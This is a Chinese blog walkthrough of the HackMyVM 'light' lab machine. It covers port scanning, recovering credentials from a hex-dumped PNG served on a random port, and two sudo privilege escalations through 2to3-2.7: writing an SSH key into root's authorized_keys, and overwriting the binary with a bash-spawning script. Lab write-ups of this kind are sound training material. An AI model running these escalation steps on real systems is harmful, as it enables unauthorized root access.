guayu-kakeru
0%

HMV-light

发表于 分类于 ，

HMV-light靶机复盘

端口扫描/信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
┌──(root㉿kakeru)-[~/tmp]
└─# nmap -A -p- 192.168.112.81
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 18:04 CST
Nmap scan report for bogon (192.168.112.81)
Host is up (0.0022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)
|   256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)
|_  256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)
49091/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, NULL: 
|     00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
|     00000010: 0000 013f 0000 0085 0806 0000 002d 80ff ...?.........-..
|     00000020: 0c00 0000 0173 5247 4200 aece 1ce9 0000 .....sRGB.......
|     00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a...
|     00000040: 0009 7048 5973 0000 0ec3 0000 0ec3 01c7 ..pHYs..........
|     00000050: 6fa8 6400 0007 de49 4441 5478 5eed dbf7 o.d....IDATx^...
|     00000060: 9314 4518 c671 ffff 1f2d ab2c 73c0 9cb0 ..E..q...-.,s...
|     00000070: 0c08 7292 0491 2092 8380 08e2 09ca c1a1 ..r... .........
|     00000080: 2248 7aed c799 2ea7 a67a 6f7b c3ed edf2 "Hz......zo{....
|     00000090: 7c3f 5553 1c7d bdd3 d361 9f09 bbf7 5400 |?US.}...a....T.
|     000000a0: 8021 c20f 8025 c20f 8025 c20f 8025 c20f .!...%...%...%..
|     000000b0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f .%...%...%...%..
|     000000c0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f .%...%...%...%..
|_    000000d0: 8025 c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port49091-TCP:V=7.95%I=7%D=2/22%Time=67B9A146%P=aarch64-unknown-linux-g
SF:nu%r(NULL,234D,"00000000:\x208950\x204e47\x200d0a\x201a0a\x200000\x2000
SF:0d\x204948\x204452\x20\x20\.PNG\.\.\.\.\.\.\.\.IHDR\n00000010:\x200000\
SF:x20013f\x200000\x200085\x200806\x200000\x20002d\x2080ff\x20\x20\.\.\.\?
SF:\.\.\.\.\.\.\.\.\.-\.\.\n00000020:\x200c00\x200000\x200173\x205247\x204
SF:200\x20aece\x201ce9\x200000\x20\x20\.\.\.\.\.sRGB\.\.\.\.\.\.\.\n000000
SF:30:\x200004\x206741\x204d41\x200000\x20b18f\x200bfc\x206105\x200000\x20
SF:\x20\.\.gAMA\.\.\.\.\.\.a\.\.\.\n00000040:\x200009\x207048\x205973\x200
SF:000\x200ec3\x200000\x200ec3\x2001c7\x20\x20\.\.pHYs\.\.\.\.\.\.\.\.\.\.
SF:\n00000050:\x206fa8\x206400\x200007\x20de49\x204441\x205478\x205eed\x20
SF:dbf7\x20\x20o\.d\.\.\.\.IDATx\^\.\.\.\n00000060:\x209314\x204518\x20c67
SF:1\x20ffff\x201f2d\x20ab2c\x2073c0\x209cb0\x20\x20\.\.E\.\.q\.\.\.-\.,s\
SF:.\.\.\n00000070:\x200c08\x207292\x200491\x202092\x208380\x2008e2\x2009c
SF:a\x20c1a1\x20\x20\.\.r\.\.\.\x20\.\.\.\.\.\.\.\.\.\n00000080:\x202248\x
SF:207aed\x20c799\x202ea7\x20a67a\x206f7b\x20c3ed\x20edf2\x20\x20\"Hz\.\.\
SF:.\.\.\.zo{\.\.\.\.\n00000090:\x207c3f\x205553\x201c7d\x20bdd3\x20d361\x
SF:209f09\x20bbf7\x205400\x20\x20\|\?US\.}\.\.\.a\.\.\.\.T\.\n000000a0:\x2
SF:08021\x20c20f\x208025\x20c20f\x208025\x20c20f\x208025\x20c20f\x20\x20\.
SF:!\.\.\.%\.\.\.%\.\.\.%\.\.\n000000b0:\x208025\x20c20f\x208025\x20c20f\x
SF:208025\x20c20f\x208025\x20c20f\x20\x20\.%\.\.\.%\.\.\.%\.\.\.%\.\.\n000
SF:000c0:\x208025\x20c20f\x208025\x20c20f\x208025\x20c20f\x208025\x20c20f\
SF:x20\x20\.%\.\.\.%\.\.\.%\.\.\.%\.\.\n000000d0:\x208025\x20c")%r(Generic
SF:Lines,234D,"00000000:\x208950\x204e47\x200d0a\x201a0a\x200000\x20000d\x
SF:204948\x204452\x20\x20\.PNG\.\.\.\.\.\.\.\.IHDR\n00000010:\x200000\x200
SF:13f\x200000\x200085\x200806\x200000\x20002d\x2080ff\x20\x20\.\.\.\?\.\.
SF:\.\.\.\.\.\.\.-\.\.\n00000020:\x200c00\x200000\x200173\x205247\x204200\
SF:x20aece\x201ce9\x200000\x20\x20\.\.\.\.\.sRGB\.\.\.\.\.\.\.\n00000030:\
SF:x200004\x206741\x204d41\x200000\x20b18f\x200bfc\x206105\x200000\x20\x20
SF:\.\.gAMA\.\.\.\.\.\.a\.\.\.\n00000040:\x200009\x207048\x205973\x200000\
SF:x200ec3\x200000\x200ec3\x2001c7\x20\x20\.\.pHYs\.\.\.\.\.\.\.\.\.\.\n00
SF:000050:\x206fa8\x206400\x200007\x20de49\x204441\x205478\x205eed\x20dbf7
SF:\x20\x20o\.d\.\.\.\.IDATx\^\.\.\.\n00000060:\x209314\x204518\x20c671\x2
SF:0ffff\x201f2d\x20ab2c\x2073c0\x209cb0\x20\x20\.\.E\.\.q\.\.\.-\.,s\.\.\
SF:.\n00000070:\x200c08\x207292\x200491\x202092\x208380\x2008e2\x2009ca\x2
SF:0c1a1\x20\x20\.\.r\.\.\.\x20\.\.\.\.\.\.\.\.\.\n00000080:\x202248\x207a
SF:ed\x20c799\x202ea7\x20a67a\x206f7b\x20c3ed\x20edf2\x20\x20\"Hz\.\.\.\.\
SF:.\.zo{\.\.\.\.\n00000090:\x207c3f\x205553\x201c7d\x20bdd3\x20d361\x209f
SF:09\x20bbf7\x205400\x20\x20\|\?US\.}\.\.\.a\.\.\.\.T\.\n000000a0:\x20802
SF:1\x20c20f\x208025\x20c20f\x208025\x20c20f\x208025\x20c20f\x20\x20\.!\.\
SF:.\.%\.\.\.%\.\.\.%\.\.\n000000b0:\x208025\x20c20f\x208025\x20c20f\x2080
SF:25\x20c20f\x208025\x20c20f\x20\x20\.%\.\.\.%\.\.\.%\.\.\.%\.\.\n000000c
SF:0:\x208025\x20c20f\x208025\x20c20f\x208025\x20c20f\x208025\x20c20f\x20\
SF:x20\.%\.\.\.%\.\.\.%\.\.\.%\.\.\n000000d0:\x208025\x20c");
MAC Address: F2:26:D0:B6:19:9A (Unknown)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   2.16 ms bogon (192.168.112.81)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.01 seconds

开了ssh和一个没见过的端口
但是我想在直接用-p-扫全部端口的时候发现开放的端口变了，所以这是一个随机开放的端口，扫除端口之后要快速用nc去访问内容

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kakeru)-[~/tmp]
└─# nmap  -p- 192.168.112.81 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 18:08 CST
Nmap scan report for bogon (192.168.112.81)
Host is up (0.00054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
50960/tcp open  unknown
MAC Address: F2:26:D0:B6:19:9A (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.45 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
┌──(root㉿kakeru)-[~/tmp]
└─# nc 192.168.112.81 49146
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
00000010: 0000 013f 0000 0085 0806 0000 002d 80ff  ...?.........-..
00000020: 0c00 0000 0173 5247 4200 aece 1ce9 0000  .....sRGB.......
00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000  ..gAMA......a...
00000040: 0009 7048 5973 0000 0ec3 0000 0ec3 01c7  ..pHYs..........
00000050: 6fa8 6400 0007 de49 4441 5478 5eed dbf7  o.d....IDATx^...
00000060: 9314 4518 c671 ffff 1f2d ab2c 73c0 9cb0  ..E..q...-.,s...
00000070: 0c08 7292 0491 2092 8380 08e2 09ca c1a1  ..r... .........
00000080: 2248 7aed c799 2ea7 a67a 6f7b c3ed edf2  "Hz......zo{....
00000090: 7c3f 5553 1c7d bdd3 d361 9f09 bbf7 5400  |?US.}...a....T.
000000a0: 8021 c20f 8025 c20f 8025 c20f 8025 c20f  .!...%...%...%..
000000b0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
000000c0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
000000d0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
000000e0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
000000f0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
00000100: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
00000110: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
00000120: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
00000130: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
00000140: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
00000150: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
00000160: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
00000170: 8025 c20f 8025 c20f 8025 c20f 8025 c20f  .%...%...%...%..
00000180: 8025 c20f 8025 c20f 80a5 c50c bf07 0f23  .%...%.........#
00000190: eede 8fb8 d76e fa59 654f 82dc b7bf ff69  .....n.YeO.....i
000001a0: 0b30 538f 1fa7 f14f 63af 4d3f 976c d41c  .0S....Oc.M?.l..
000001b0: cda2 5da3 f5b7 98e1 77e4 c788 67b7 45bc  ..].....w...g.E.
000001c0: f855 c49b 5f47 bcba 33e2 f8e5 f697 0b4e  .U.._G..3......N
000001d0: fd50 7f5e 586a 0b30 5337 ff8a 7869 47b3  .P.^Xj.0S7..xiG.
000001e0: e9e7 928d 9aa3 59b4 6bb4 fe16 ffb6 f78d  ......Y.k.......
000001f0: 3d11 efec 8b38 73b5 2d58 703f 2c47 bcbd  =....8s.-Xp?,G..
00000200: 37bd f952 b063 f6ee dc8b 782b 9d50 b5e9  7..R.c....x+.P..
00000210: e712 ad35 adb9 4d69 edcd d22c dad5 fadb  ...5..Mi...,....
00000220: 88be 6d80 c50f 3f4d d25a e1a7 4bf8 5da7  ..m...?M.Z..K.].
00000230: 2276 9ffe 7f3b d6bb 4abc f27b c49e 54be  "v...;..J..{..T.
00000240: e364 5b90 94ca 64dc fd5d 5d29 efaf 4b67  .d[...d..]])..Kg
00000250: dd2d 4722 bef8 3ee2 da6a 5b98 cce2 f826  .-G"..>..j[....&
00000260: d99f fc79 3762 e9f8 daf5 721b fbce ae5d  ...y7b....r....]
00000270: 4f4a ed6a fbf2 585b a155 7b7c 35f5 2ea7  OJ.j..X[.U{|5...
00000280: e3d3 fedf dfdf 6c1a 0b1d afea 76db cd21  ......l.....v..!
00000290: f4de 3711 7b3b 7d19 b75d a9e9 ef28 edd6  ..7.{;}..]...(..
000002a0: cc87 74db fdfa 4cb3 f63e 487d ef87 5f4d  ..t...L..>H}.._M
000002b0: 3f06 ada1 bfd2 4944 afd5 a69f e7c4 931d  ?.....ID........
000002c0: 7eab 779a 4079 6d57 73ab 7cf8 62c4 b6a3  ~.w.@ymWs.|.b...
000002d0: 119f 1c8e b874 bdad 949c baf2 ffed 7356  .....t........sV
000002e0: 2a1b 777f cbb7 9a45 a1b2 97d3 edd4 205f  *.w....E...... _
000002f0: a6c5 aa2b 8ea5 136d 416b bd8f 4f6a f7b7  ...+...mAk..Oj..
00000300: 35bd 393e 3e14 71f1 5a5b a9a5 aba4 6fce  5.9>>.q.Z[....o.
00000310: 451c bc30 bc5d f571 ade3 ebb7 ab7d e64d  E..0.].q.....}.M
00000320: 6ffa acb6 bfb5 f596 6f36 f3a4 70d1 a690  o.......o6..p...
00000330: 3e54 6837 87d0 bba9 ce34 daad ed6f 6dbb  >Th7.....4...om.
00000340: 5233 1fa5 e353 602a f8bb e157 db8f fe1a  R3...S`*...W....
00000350: ba72 a379 eded bf23 5edf dd6c b706 3c4a  .r.y...#^..l..<J
00000360: d800 4f76 f89d 4c93 a1db e2ee 44fe f04b  ..Ov..L.....D..K
00000370: 7b5b d909 a1bc a8ba f54a 65a3 ee4f 0b41  {[.......Je..O.A
00000380: be4a 67c2 8f0f 467c f65d 7356 2d79 f828  .Jg...F|.]sV-y.(
00000390: 627b 5a78 1f7e 9bce c09d 052f eb75 7ce3  b{Zx.~...../.u|.
000003a0: ec4f a1b7 f940 1360 6ba9 6db7 54af d46e  .O...@.`k.m.T..n
000003b0: 496d 7f6b eb89 ae4c f26d efa0 ab94 49fa  Im.k...L.m....I.
000003c0: 3149 7f6b db2d 19e5 f86a d641 697f fde3  1I.k.-...j.Ai...
000003d0: fb34 adf7 9329 34bb 8f12 1486 73e2 c90e  .4...)4.....s...
000003e0: bfd2 6299 76d9 f95f 07d7 fbe8 40c4 335b  ..b.v.._....@.3[
000003f0: 23fe 4867 be61 f480 f9ad b498 ce2f b705  #.Hg.a......./..
00000400: 1dd3 3ee6 49ca 6aad 352e c3ca 8eff d45c  ..>.I.j.5......\
00000410: 650c 6bb7 f4da da76 4bf5 446f ce61 6fd4  e.k....vK.Do.ao.
00000420: da7e d4b6 3b49 7f4b 6525 93cc c7b8 655f  .~..;I.Ke%....e_
00000430: a4ab c333 3f13 7eeb 4603 ad01 d7c0 f74d  ...3?.~.F......M
00000440: 7322 2597 e9ea 4c13 996f e114 5add 0f28  s"%...L..o..Z..(
00000450: 723d 9d2d 6ba9 1d6d 27d2 99b2 6f1a c73c  r=.-k..m'...o..<
00000460: adb2 4174 95a4 f1c8 9b6e cd34 4ee3 b6a1  ..At.....n.4N...
00000470: 4f5a 5f49 b74f dd71 d615 7457 7e6d ed7c  OZ_I.O.q..tW~m.|
00000480: 0cab 27eb 117e 35ed 8ed2 df9a f19b e67c  ..'..~5........|
00000490: 8c5b 46f8 ad33 0db4 065c 03df 573b 69f9  .[F..3...\..W;i.
000004a0: 5945 b7ec 5c7b 59af 0599 e5d7 aa7c e5cf  YE..\{Y......|..
000004b0: e619 d1af b79a edea 4a5b 2929 b531 8816  ........J[)).1..
000004c0: a91e 34ab 7d9d 9db5 50fa 6afb 318b b292  ..4.}...P.j.1...
000004d0: 9f6f a437 ea89 a69e c6e5 b7db 1107 cf37  .o.7...........7
000004e0: cfcd c66d 43df 37d3 986a 8cb5 bf03 697f  ...mC.7..j....i.
000004f0: ba92 de7d aaad 90e4 d7d6 cec7 b07a b21e  ...}.........z..
00000500: e157 d3ee 28fd 1dd6 eeb4 e7a3 b6ac ff3e  .W..(..........>
00000510: fafc 48aa 97c2 efde 8366 3c79 e637 651a  ..H......f<y.7e.
00000520: 684d 8226 a3ef 741a 782d bcd2 a469 22b2  hM.&..t.x-...i".
00000530: 6b69 31ea e1f6 a654 a605 a84f fdf6 a640  ki1....T...O...@
00000540: da7c b079 e09d 95f6 5752 5a18 83e8 0da6  .|.y....WRZ.....
00000550: 7675 9538 e8f6 b8b6 1fd3 a8d7 2d2b d5d3  vu.8........-+..
00000560: e2bd 9042 fa6c 3a39 647a 2654 3a79 f4f7  ...B.l:9dz&T:y..
00000570: 576a a376 acf2 c9a8 fb81 51ed 7cd4 d693  Wj.v......Q.|...
00000580: 5b69 3e34 177a b3ea 417d 496d 3f46 69b7  [i>4.z..A}Im?Fi.
00000590: afd4 dfda 766b e763 9275 90eb 95de 471a  ....vk.c.u....G.
000005a0: bf5f 5288 1f4d b7f3 6753 bdd3 69d3 f1e8  ._R..M..gS..i...
000005b0: c392 3bf3 f3e5 e9c5 0cbf ffbe 85de 0ea2  ..;.............
000005c0: 0655 97f4 ba5d d487 06dd 6fa6 eb3b 4b0a  .U...]....o..;K.
000005d0: b07c fba9 dfab 9ece 80ba 05e8 d2a4 e843  .|.............C
000005e0: 092d 7a4d b43e 98d8 77ae fd65 abbf bffc  .-zM.>..w..e....
000005f0: d725 fab7 abb4 804a 1e3d 8eb8 beda f441  .%.....J.=.....A
00000600: 6daf 0e78 b3d5 f663 d27a 1ac7 ee31 97ea  m..x...c.z...1..
00000610: 1dbd d4fc 5f63 94d5 eeaf f6cd 9be7 37ff  ...._c........7.
00000620: 054f 6d3f 06cd 476d 3dd1 1c68 2e34 27d7  .Om?..Gm=..h.4'.
00000630: d315 d3fd 74d5 a27a dd75 55db 8fda 766b  ....t..z.uU...vk
00000640: fb3b 6ebb a3cc ef28 f54a efa3 fc81 913e  .;n....(.J.....>
00000650: f155 5f14 ba7a 5d77 7f73 6231 c34f 6790  .U_..z]w.sb1.Og.
00000660: fc17 1e1a 586d 1a6c fdff e92d 6da5 9626  ....Xm.l...-m..&
00000670: 43cf 57f4 3b6d fa74 4acf 2206 797e a9b9  C.W.;m.tJ.".y~..
00000680: d5d5 d9ae a4bf bfe7 b637 0ba3 4b0f b0b5  .........7..K...
00000690: 0fed 6b2d fafa 80ce 9c35 0ba3 dbae ae14  ..k-.....5......
000006a0: 153e 3b3a b744 596d 7ffb f534 7e1a c7fe  .>;:.DYm...4~...
000006b0: 314f 737f a571 2995 75e7 77d4 764b f321  1Os..q).u.w.vK.!
000006c0: b5f5 321d 8fae ba72 fdee baaa ed87 d4b4  ..2....r........
000006d0: 5bdb df49 daad 9ddf 49d7 c14a ba33 503d  [..I....I..J.3P=
000006e0: 6d7f dc6d 6e85 4bc7 3707 16ff b677 91e9  m..mn.K.7....w..
000006f0: eca9 f0d3 4219 c5ce 147a ba32 292d 3e00  ....B....z.2)->.
00000700: 5508 bf8d a46f e1eb 01b7 9e33 d6d2 37eb  U....o.....3..7.
00000710: f525 d4fd e996 7c8e 1e1e 038b 86f0 9b77  .%....|........w
00000720: fae4 4e9f 025f b8d6 7c63 5eb7 10fa d6bf  ..N.._..|c^.....
00000730: 9e15 0218 1be1 37ef f477 927a a8ac bfaa  ......7..w.z....
00000740: d0a6 af3f ccd1 2766 c0a2 22fc 0058 22fc  ...?..'f.."..X".
00000750: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
00000760: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
00000770: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
00000780: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
00000790: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
000007a0: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
000007b0: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
000007c0: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
000007d0: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
000007e0: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
000007f0: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
00000800: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
00000810: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
00000820: 0058 22fc 0058 22fc 0058 22fc 0058 22fc  .X"..X"..X"..X".
00000830: 0018 8af8 1765 703a 66dc e967 bc00 0000  .....ep:f..g....
00000840: 0049 454e 44ae 4260 82                   .IEND.B`.
                                                            
┌──(root㉿kakeru)-[~/tmp]
└─# xxd -r tmp > tmp.png

可以得到一个png
在本机查看之后得到用户名和密码

提权

1
2
3
4
5
6
lover@light:~$ sudo -l
Matching Defaults entries for lover on light:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lover may run the following commands on light:
    (ALL : ALL) NOPASSWD: /usr/bin/2to3-2.7

有一个sudo权限，发现这个命令是用来转换python文件的 输入–help可以查看参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
lover@light:~$ sudo /usr/bin/2to3-2.7 --help
Usage: 2to3 [options] file|dir ...

Options:
  -h, --help            show this help message and exit
  -d, --doctests_only   Fix up doctests only
  -f FIX, --fix=FIX     Each FIX specifies a transformation; default: all
  -j PROCESSES, --processes=PROCESSES
                        Run 2to3 concurrently
  -x NOFIX, --nofix=NOFIX
                        Prevent a transformation from being run
  -l, --list-fixes      List available transformations
  -p, --print-function  Modify the grammar so that print() is a function
  -v, --verbose         More verbose logging
  --no-diffs            Don't show diffs of the refactoring
  -w, --write           Write back modified files
  -n, --nobackups       Don't write backups for modified files
  -o OUTPUT_DIR, --output-dir=OUTPUT_DIR
                        Put output files in this directory instead of
                        overwriting the input files.  Requires -n.
  -W, --write-unchanged-files
                        Also write files even if no changes were required
                        (useful with --output-dir); implies -w.
  --add-suffix=ADD_SUFFIX
                        Append this string to all output filenames. Requires
                        -n if non-empty.  ex: --add-suffix='3' will generate
                        .py3 files.

这里有一个-W命令就有很多方法了，这是可以强制写入文件的
第一种方式，可以写入公钥

1
2
3
┌──(root㉿kakeru)-[~/.ssh]
└─# cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMwgCkwvKHNNuKBU4ICulTRkebSliiCn8+mnEiF5eBnI root@kakeru
1
2
3
4
5
6
7

'''
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMwgCkwvKHNNuKBU4ICulTRkebSliiCn8+mnEiF5eBnI root@kakeru
'''

print ""

这里这么写的意义是让三个引号解析成python的注释，然后下面的print “” 是python2的语法，可以出发转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
lover@light:~$ nano authorized_keys 

lover@light:~$ sudo /usr/bin/2to3-2.7 -o /root/.ssh/ -w -n authorized_keys 
lib2to3.main: Output in '/root/.ssh/' will mirror the input directory '' layout.
RefactoringTool: Skipping optional fixer: buffer
RefactoringTool: Skipping optional fixer: idioms
RefactoringTool: Skipping optional fixer: set_literal
RefactoringTool: Skipping optional fixer: ws_comma
RefactoringTool: Refactored authorized_keys
--- authorized_keys	(original)
+++ authorized_keys	(refactored)
@@ -2,4 +2,4 @@
 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMwgCkwvKHNNuKBU4ICulTRkebSliiCn8+mnEiF5eBnI root@kakeru
 '''
 
-print ""
+print("")
RefactoringTool: Writing converted authorized_keys to /root/.ssh/authorized_keys.
RefactoringTool: Files that were modified:
RefactoringTool: authorized_keys

这里的-o就是指定输出到的文件夹，这样我们就把自己的私钥写入/root/.ssh里面了
然后我们就可以用自己的私钥登录了

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kakeru)-[~/.ssh]
└─# ssh root@192.168.112.81 -i id_ed25519                  
Linux light 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov 13 03:40:09 2020
root@light:~#

第二种方法： 强制修改文件
这里/usr/bin/2to3-2.7是有sudo权限的文件，我们如果能把这里的文件内容修改成自己想要的内容，那不是就可以sudo了吗

思路就是我们在当前文件夹下面创建一个同名文件，然后给执行权限，用-W强制写入
先看看原来的内容，尽量保持一致

1
2
3
4
5
6
lover@light:~$ cat /usr/bin/2to3-2.7 
#! /usr/bin/python2.7
import sys
from lib2to3.main import main

sys.exit(main("lib2to3.fixes"))

那我们写的时候也要加上这个注释

1
2
3
4
5
6
7
8
lover@light:~$ touch  2to3-2.7
lover@light:~$ nano 2to3-2.7 
lover@light:~$ chmod +x 2to3-2.7 
lover@light:~$ cat 2to3-2.7 
#! /usr/bin/python2.7

import os
os.system("/bin/bash")

然后写入到/usr/bin目录下面，强制替换

1
2
3
4
5
6
7
8
9
10
11
12
13
lover@light:~$ sudo /usr/bin/2to3-2.7  -W -n -o /usr/bin 2to3-2.7
WARNING: --write-unchanged-files/-W implies -w.
lib2to3.main: Output in '/usr/bin' will mirror the input directory '' layout.
RefactoringTool: Skipping optional fixer: buffer
RefactoringTool: Skipping optional fixer: idioms
RefactoringTool: Skipping optional fixer: set_literal
RefactoringTool: Skipping optional fixer: ws_comma
RefactoringTool: No changes to 2to3-2.7
RefactoringTool: Writing converted 2to3-2.7 to /usr/bin/2to3-2.7.
RefactoringTool: Files that were modified:
RefactoringTool: 2to3-2.7
lover@light:~$ sudo /usr/bin/2to3-2.7 
root@light:/home/lover#

最后还有一种方法是python库劫持，看这个2to3用到了什么库，然后修改这个库里面的某个函数，这里我就不写出来了